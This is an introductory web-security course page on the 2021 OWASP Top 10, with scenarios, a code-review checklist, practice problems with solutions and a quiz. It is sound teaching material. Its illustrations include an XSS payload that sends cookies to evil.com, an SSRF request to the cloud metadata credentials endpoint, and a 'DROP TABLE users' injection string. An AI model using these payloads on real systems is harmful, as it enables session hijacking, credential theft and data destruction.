Skip to content
beginner Phase 7 · Web Vulnerabilities and the OWASP Top 10

OWASP Top 10 Overview

Learn the ten vulnerability classes that anchor web security programs.

50m
0 problems
Topic Progress 0%

What the OWASP Top 10 Is and Why It Exists

The OWASP Top 10: A Risk-Based Map of Web Application Vulnerabilities

The OWASP Top 10 is a standard awareness document for web application security. It represents a broad consensus about the most critical security risks to web applications. The list is published by the Open Web Application Security Project (OWASP), a nonprofit foundation that works to improve the security of software.

Why a Top 10 List Matters

Security teams face an unbounded set of possible vulnerabilities. Without prioritization, organizations either try to fix everything at once (and fix nothing well) or fix whatever was in last week's news cycle. The OWASP Top 10 solves this by distilling thousands of real-world findings into ten categories that represent the most prevalent and impactful risks. It gives security engineers, developers, and auditors a shared vocabulary and a starting point for threat modeling.

The list is not a compliance checklist. It is a risk-ranking framework. Each category is scored based on prevalence (how often it appears in tested applications), exploitability (how easy it is to exploit), detectability (how easy it is to find), and technical impact (what an attacker achieves).

The 2021 Edition Categories

The current edition (2021) consolidated and renamed several categories from the 2017 version. The ten categories are:

  1. A01:2021 – Broken Access Control: Users can act outside their intended permissions. This was promoted from #5 to #1 because it is the most commonly found vulnerability in real-world testing.
  2. A02:2021 – Cryptographic Failures: Previously "Sensitive Data Exposure." Focuses on failures related to cryptography that often lead to sensitive data exposure.
  3. A03:2021 – Injection: Untrusted data is sent to an interpreter as part of a command or query. SQL, NoSQL, OS command, and LDAP injection all fall here.
  4. A04:2021 – Insecure Design: New category for 2021. Covers risks from missing or ineffective design-level security controls, distinct from implementation bugs.
  5. A05:2021 – Security Misconfiguration: Default configurations, incomplete configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages.
  6. A06:2021 – Vulnerable and Outdated Components: Using components with known vulnerabilities. Previously "Using Components with Known Vulnerabilities."
  7. A07:2021 – Identification and Authentication Failures: Previously "Broken Authentication." Covers credential stuffing, session fixation, and weak password recovery.
  8. A08:2021 – Software and Data Integrity Failures: New for 2021. Assumes software updates, critical data, and CI/CD pipelines are unverified. Covers insecure deserialization.
  9. A09:2021 – Security Logging and Monitoring Failures: Insufficient logging and monitoring allow attackers to maintain persistence, pivot to more systems, and tamper with data.
  10. A10:2021 – Server-Side Request Forgery (SSRF): New for 2021. Web applications fetching remote resources without validating the user-supplied URL.

How the List Is Compiled

OWASP uses data from over 500,000 applications and contributions from security firms worldwide. The 2021 edition analyzed approximately 2.3 million vulnerabilities across hundreds of organizations. Categories are ranked by a combination of CWE prevalence, exploitability scores, detectability scores, and technical impact scores. Community surveys also influence the final ranking, which is why the list evolves.

Why the List Changes

The 2017-to-2021 shift illustrates why the list is not static. "Insecure Design" and "Software and Data Integrity Failures" were added because the security community recognized that many breaches stem from architectural decisions, not just coding mistakes. SSRF was promoted into the Top 10 because cloud adoption made internal metadata endpoints a high-value target. Understanding the "why" behind each change helps you anticipate future shifts.

Applying the OWASP Top 10 in Practice

Using the OWASP Top 10 as a Working Framework

The OWASP Top 10 is most useful when you treat it as a lens for reviewing code, designing systems, and prioritizing remediation — not as a memorization exercise.

Mapping Breach Scenarios to Categories

Consider three real-world breach patterns and how they map:

Scenario 1: An e-commerce site exposes customer records.
An attacker modifies the orderId parameter in a URL from orderId=1001 to orderId=1002 and sees another customer's order. This is A01: Broken Access Control — the application authenticated the user but failed to authorize the specific object access.

Scenario 2: A forum allows users to post HTML that executes in other browsers.
A user submits a comment containing <script>document.location='https://evil.com/?c='+document.cookie</script>. Every visitor's browser executes the script. This is A03: Injection (specifically Cross-Site Scripting, which OWASP classifies under Injection in the 2021 edition).

Scenario 3: A server fetches a user-supplied URL for a webhook feature.
An attacker supplies http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the server retrieves its own cloud IAM credentials. This is A10: Server-Side Request Forgery.

Building a Top 10 Checklist for Code Review

When reviewing a pull request, walk through each category:

A01 - Broken Access Control
  [ ] Does every endpoint check authorization, not just authentication?
  [ ] Are object references (IDs) validated against the current user's permissions?
  [ ] Is the admin panel restricted by role, not just by URL obscurity?

A03 - Injection
  [ ] Are all database queries parameterized?
  [ ] Is user input encoded for the correct output context (HTML, JS, URL)?
  [ ] Are file paths sanitized before filesystem access?

A05 - Security Misconfiguration
  [ ] Are error messages generic (no stack traces to users)?
  [ ] Are default credentials changed?
  [ ] Are unnecessary HTTP methods (TRACE, OPTIONS) disabled?

A06 - Vulnerable and Outdated Components
  [ ] Is there a software bill of materials (SBOM)?
  [ ] Are dependencies scanned in CI/CD?

Prioritizing Remediation

Not all Top 10 findings are equal. A broken access control on an admin endpoint is more critical than a missing security header on a static page. Use this prioritization heuristic:

  1. Exploitability: Can an unauthenticated attacker trigger it?
  2. Impact: Does it expose data, execute code, or bypass authentication?
  3. Prevalence: How many endpoints share the same pattern?
  4. Detectability: Is it already being exploited in the wild?

A vulnerability that scores high on all four should be fixed in the current sprint, not the next quarter.

Practice Problems

0 / 2 solved
Map Vulnerabilities to OWASP Categories

For each scenario below, identify the OWASP Top 10 (2021) category and explain why: 1. A web app uses `md5(password)` to hash user passwords. 2. An API endpoint at `/api/users/42/profile` returns user 42's profile even when authenticated as user 99. 3. A search feature reflects the user's query into the HTML response without encoding. 4. The application deserializes a user-supplied Java object to restore a shopping cart.

Solution
1. **A02: Cryptographic Failures** — MD5 is a fast, broken hash unsuitable for password storage. The category covers failures in cryptography that expose sensitive data.
2. **A01: Broken Access Control** — The server fails to verify that the authenticated user (99) is authorized to access user 42's profile. This is a classic IDOR (Insecure Direct Object Reference).
3. **A03: Injection (XSS)** — User input is reflected into HTML without output encoding, allowing script injection. OWASP 2021 classifies XSS under Injection.
4. **A08: Software and Data Integrity Failures** — Deserializing untrusted data without integrity verification can lead to gadget chain exploitation. This category explicitly covers insecure deserialization.
Prioritize a Vulnerability Backlog

You have four findings. Rank them by remediation priority using the OWASP Top 10 framework and justify your ordering: - A: Missing `X-Frame-Options` header on a marketing page (no login) - B: SQL injection on the login form - C: Admin panel accessible without admin role - D: jQuery 1.4.2 (known XSS vulnerabilities) on the checkout page

Solution
Priority order: **C > B > D > A**

- **C (A01: Broken Access Control)**: Highest impact — unauthenticated attacker gains admin access. Exploitable, high impact, likely many admin endpoints share the pattern.
- **B (A03: Injection)**: SQL injection on login can lead to authentication bypass or full database compromise. High exploitability and impact.
- **D (A06: Vulnerable and Outdated Components)**: Known CVEs in jQuery 1.4.2 are exploitable, but the checkout page may have other controls. Still high priority because it is a known-vulnerable component.
- **A (A05: Security Misconfiguration)**: Missing clickjacking header on a public page with no authentication is the lowest priority — limited impact (clickjacking a marketing page).

Quiz

1. In the OWASP Top 10 2021 edition, which category was promoted to #1 due to its high prevalence in real-world testing?

Question 1 options

2. Which OWASP Top 10 2021 category explicitly covers insecure deserialization?

Question 2 options

3. An attacker submits a form field containing `'; DROP TABLE users; --` and the database executes it. Which OWASP Top 10 category does this fall under?

Question 3 options

4. Why did OWASP add 'Insecure Design' as a new category in the 2021 edition?

Question 4 options

5. A web application fetches a user-supplied URL to generate a preview. An attacker supplies `http://169.254.169.254/latest/meta-data/` and retrieves the server's cloud credentials. Which OWASP Top 10 category is this?

Question 5 options

Flashcards

Question

What is the OWASP Top 10?

Answer

A standard awareness document published by OWASP that ranks the ten most critical web application security risks based on prevalence, exploitability, detectability, and technical impact.

Question

Which category was #1 in the OWASP Top 10 2021?

Answer

A01:2021 – Broken Access Control. It was promoted from #5 in 2017 because it was the most commonly found vulnerability in real-world testing.

Question

What does A08:2021 cover?

Answer

Software and Data Integrity Failures — assumes software updates, critical data, and CI/CD pipelines are unverified. Explicitly covers insecure deserialization.

Question

What is the difference between A04 (Insecure Design) and A05 (Security Misconfiguration)?

Answer

A04 covers missing or ineffective design-level security controls (architectural flaws that cannot be fixed by better coding). A05 covers implementation-level misconfigurations like default credentials, verbose errors, and open cloud storage.

Question

What does A10:2021 cover?

Answer

Server-Side Request Forgery (SSRF) — web applications fetching remote resources without validating the user-supplied URL, often targeting cloud metadata endpoints like 169.254.169.254.

Revision Notes

Key Takeaways

  • 1. The OWASP Top 10 ranks the most consequential web application risk categories based on real-world data from 500,000+ applications
  • 2. Broken Access Control (A01) and Injection (A03) consistently appear at the top of real-world findings
  • 3. The 2021 edition added Insecure Design, Software and Data Integrity Failures, and SSRF as new categories
  • 4. The list is a risk-ranking framework, not a compliance checklist — use it to prioritize remediation
  • 5. Categories are scored on prevalence, exploitability, detectability, and technical impact

Interview Tips

  • • Explain the OWASP Top 10 as a risk-ranking framework, not just a list — mention the scoring methodology (prevalence, exploitability, detectability, impact)
  • • Give a concrete example of how you used the Top 10 to prioritize a vulnerability backlog in a real project
  • • Discuss the 2017-to-2021 changes (Insecure Design, SSRF, Integrity Failures) to show you understand the list evolves
  • • Connect the Top 10 to the surrounding Web Vulnerabilities phase — interviewers check that you see the progression, not isolated facts

Cheat Sheet

OWASP Top 10 Cheat Sheet

Phase: Web Vulnerabilities and the OWASP Top 10 | Level: beginner

The 2021 Categories:

  • A01: Broken Access Control — users act outside their permissions
  • A02: Cryptographic Failures — broken crypto exposes sensitive data
  • A03: Injection — untrusted data sent to an interpreter (SQL, XSS, OS command)
  • A04: Insecure Design — missing design-level security controls
  • A05: Security Misconfiguration — default configs, verbose errors, open storage
  • A06: Vulnerable and Outdated Components — known CVEs in dependencies
  • A07: Identification and Authentication Failures — credential stuffing, session fixation
  • A08: Software and Data Integrity Failures — insecure deserialization, unverified CI/CD
  • A09: Security Logging and Monitoring Failures — insufficient logging enables persistence
  • A10: Server-Side Request Forgery — server fetches user-supplied URLs

Key points:

  • The list is risk-ranked, not a compliance checklist
  • Broken Access Control and Injection consistently appear at the top of real-world findings
  • The list updates as the threat landscape shifts — re-check the current edition yearly
  • A04 (Insecure Design) and A08 (Integrity Failures) were added in 2021 to cover architectural and supply-chain risks

Tags: owasp, web-security

Continue Learning

Before You Start

Next Topics